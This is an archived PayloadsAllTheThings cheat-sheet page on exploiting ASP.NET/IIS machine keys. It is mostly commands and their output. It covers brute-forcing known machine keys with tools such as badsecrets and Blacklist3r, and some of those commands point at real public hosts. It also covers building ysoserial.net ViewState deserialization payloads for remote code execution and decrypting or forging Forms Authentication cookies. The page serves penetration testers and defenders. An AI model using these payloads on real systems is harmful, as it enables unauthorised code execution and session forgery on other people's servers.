

IIS Machine Keys - Payloads All The Things

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Content

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IIS Machine Keys

That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.

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Viewstate Format

ViewState in IIS is a technique used to retain the state of web controls between postbacks in ASP.NET applications. It stores data in a hidden field on the page, allowing the page to maintain user input and other state information.

| Format | Properties | || Base64 | EnableViewStateMac=False ,
ViewStateEncryptionMode=False || | Base64 + MAC | EnableViewStateMac=True || | Base64 + Encrypted | ViewStateEncryptionMode=True ||

By default until Sept 2014, the `enableViewStateMac` property was to set to `False`. Usually unencrypted viewstate are starting with the string `/wEP`.

Machine Key Format And Locations

A machineKey in IIS is a configuration element in ASP.NET that specifies cryptographic keys and algorithms used for encrypting and validating data, such as view state and forms authentication tokens. It ensures consistency and security across web applications, especially in web farm environments.

The format of a machineKey is the following.

```
[ ](<machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1  
(default) | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 |  
alg:algorithm_name]" decryption="[Auto (default) | DES | 3DES | AES |  
alg:algorithm_name]" />
```

The `validationKey` attribute specifies a hexadecimal string used to validate data, ensuring it hasn't been tampered with.

The `decryptionKey` attribute provides a hexadecimal string used to encrypt and decrypt sensitive data.

The `validation` attribute defines the algorithm used for data validation, with options like SHA1, MD5, 3DES, AES, and HMACSHA256, among others.

The `decryption` attribute specifies the encryption algorithm, with options like Auto, DES, 3DES, and AES, or you can specify a custom algorithm using `alg:algorithm_name`.

The following example of a machineKey is from [Microsoft documentation](#).

```
[ ](<machineKey  
validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480  
721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC"  
decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
```

Common locations of **web.config** / **machine.config**

- 32-bits
- C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config

- C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config
- 64-bits
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config
- C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config
- in the registry when **AutoGenerate** is enabled (extract with [irsdl/machineKeyFinder.asp](#) x)
- HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4
- HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey

Identify Known Machine Key

Try multiple machine keys from known products, Microsoft documentation, or other part of the Internet.

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[isclayton/viewstalker](#)

```
[ ]() ./viewstalker --viewstate /wEPD...TYQ== -m 3E92B2D6 -M ./MachineKeys2.txt
[ ]() _____
[ ]() \   \ /  / | _ | _____ / | _____ | | | | _____
[ ]() \   Y  / | | / _ \ \ \ \ / _ \ \ _ \ \ | | | | / // _ \ _ \
[ ]() \   /  | \ _ \ \ / \ _ \ \ | | / _ \ | _ | < \ _ / | | \
[ ]() \ _ /   | _ | \ _ > \ \ / / _ > | _ | ( _ / _ / _ | \ _ > _ |
[ ]()                \ /          \ /          \ /          \ /          \ /
[ ]()
[ ]() KEY FOUND!!!
[ ]() Host:
[ ]() Validation Key: XXXXX,XXXXX
```

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[blacklanternsecurity/badsecrets](#)

```
[ ]() python examples/blacklist3r.py --viewstate /wEPDwUK...j81TYQ== --generator 3E92B2D6
[ ]() Matching MachineKeys found!
[ ]() validationKey:
C50B3C89CB21F4F1422FF158A5B42D0E8DB8CB5CDA1742572A487D9401E3400267682B202B746511891C1BAF4
7F8D25C07F6C39A104696DB51F17C529AD3CABE validationAlgo: SHA1
```

-

[irsdl/crapsecrets](#)

```
[]()python3 ./crapsecrets/examples/cli.py -u http://update.microsoft.com/ -r
[]()python3 ./crapsecrets/examples/cli.py -u http://update.microsoft.com/ -mrd 5
[]()python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -u
http://update.microsoft.com/
[]()python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -mkf
./local/aspnet_machinekeys_local.txt -u http://10.10.10.10:8080/
[]()python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -mkf
./local/aspnet_machinekeys_local.txt -mkf ./crapsecrets/resources/aspnet_machinekeys.txt
-u http://10.10.10.10:8080/a1/b/c1/
```

NotSoSecure/Blacklist3r

```
[]()AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata
/wEPDwUKLTkyMTY0MDUXMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcmt0tZGF0YWRkbdrqZ4p5EfFa9
GPqKfSQRGANwLs= --purpose=viewstate --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --
macdecode --legacy
```

Oxacb/viewgen

```
[]()$ viewgen --guess "/wEPDwUKMTYyOD...WRkuVmQYhhtcnJl6Nfet5ERqNHMADI="
[]() [+] ViewState is not encrypted
[]() [+] Signature algorithm: SHA1
```

List of interesting machine keys to use:

- [NotSoSecure/Blacklist3r/MachineKeys.txt](#)
- [isclayton/viewstalker/MachineKeys2.txt](#)
- [blacklanternsecurity/badsecrets/aspnet_machinekeys.txt](#)

Decode ViewState

- [BApp Store > ViewState Editor](#) - ViewState Editor is an extension that allows you to view and edit the structure and contents of V1.1 and V2.0 ASP view state data.

Oxacb/viewgen

```
[]()viewgen --decode --check --webconfig web.config --modifier CA0B0334
"zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmt0it2HY314LI8ypN0Ju
aLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYUYcdEH27rT6taXzDWupmQjAjrDueY="
```

Generate ViewState For RCE

First you need to decode the ViewState to know if the MAC and the encryption are enabled.

Requirements:

- `__VIEWSTATE`
- `__VIEWSTATEGENERATOR`

MAC Is Not Enabled

```
[]()ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "cmd /c whoami"
```

MAC Is Enabled And Encryption Is Disabled

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Find the machine key (validationkey) using `badsecrets`, `viewstalker`, `AspDotNetWrapper.exe` or `viewgen`

```
[]()AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata  
/wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlvYXJ0L2Zvcmt0ZGF0YWRkbdrqZ4p5EfFa9  
GPqKfSQRGANwLs= --purpose=viewstate --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --  
macdecode --legacy  
[]()# --modifier = `__VIEWSTATEGENERATOR` parameter value  
[]()# --encrypteddata = `__VIEWSTATE` parameter value of the target application
```

-

Then generate a ViewState using [pwntester/ysoserial.net](https://pwntester.net), both `TextFormattingRunProperties` and `TypeConfuseDelegate` gadgets can be used.

```
[]().\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --  
generator=CA0B0334 --validationlg="SHA1" --  
validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A26730  
8AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"  
[]().\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami" --  
generator=3E92B2D6 --validationlg="SHA1" --  
validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A26730  
8AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"  
[]()  
[]()# --generator = `__VIEWSTATEGENERATOR` parameter value  
[]()# --validationkey = validation key from the previous command
```

MAC Is Enabled And Encryption Is Enabled

Default validation algorithm is `HMACSHA256` and the default decryption algorithm is `AES`.

If the `__VIEWSTATEGENERATOR` is missing but the application uses .NET Framework version 4.0 or below, you can use the root of the app (e.g: `--apppath="/testaspx/"`).

-

.NET Framework < 4.5, ASP.NET always accepts an unencrypted `__VIEWSTATE` if you remove the `__VIEWSTATEENCRYPTED` parameter from the request

```
[ ]().\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami" --  
apppath="/testaspx/" --islegacy --validationalg="SHA1" --  
validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572  
FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
```

-

.NET Framework > 4.5, the machineKey has the property:

```
compatibilityMode="Framework45"
```

```
[ ]().\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --  
path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --  
decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --  
validationalg="HMACSHA256" --  
validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572  
FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
```

If you have the `machineKey` but the viewstate is disabled.

ASP.net Forms Authentication Cookies : [liquidsec/aspnetCryptTools](https://liquidsec.github.io/aspnetCryptTools/)

```
[ ]()# decrypt cookie  
[ ]()$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXXX_XXXXX-XXXXX --  
decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes  
[ ]()  
[ ]()# encrypt cookie (edit Decrypted.txt)  
[ ]()$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
```

References

- [Deep Dive into .NET ViewState Deserialization and Its Exploitation](#) - Swapneil Kumar Das h - October 22, 2019
- [Exploiting Deserialisation in ASP.NET via ViewState](#) - Soroush Dalili - April 23, 2019
- [Exploiting ViewState Deserialization using Blacklist3r and YSoSerial.Net](#) - Claranet - June 13, 2019
- [Project Blacklist3r](#) - @notsosecure - November 23, 2018

- [View State, The Unpatchable IIS Forever Day Being Actively Exploited - Zeroed - July 21, 2024](#)

Archived from <https://swisskyrepo.github.io/PayloadsAllTheThings/API%20Key%20Leaks/IIS-Machine-Keys>.

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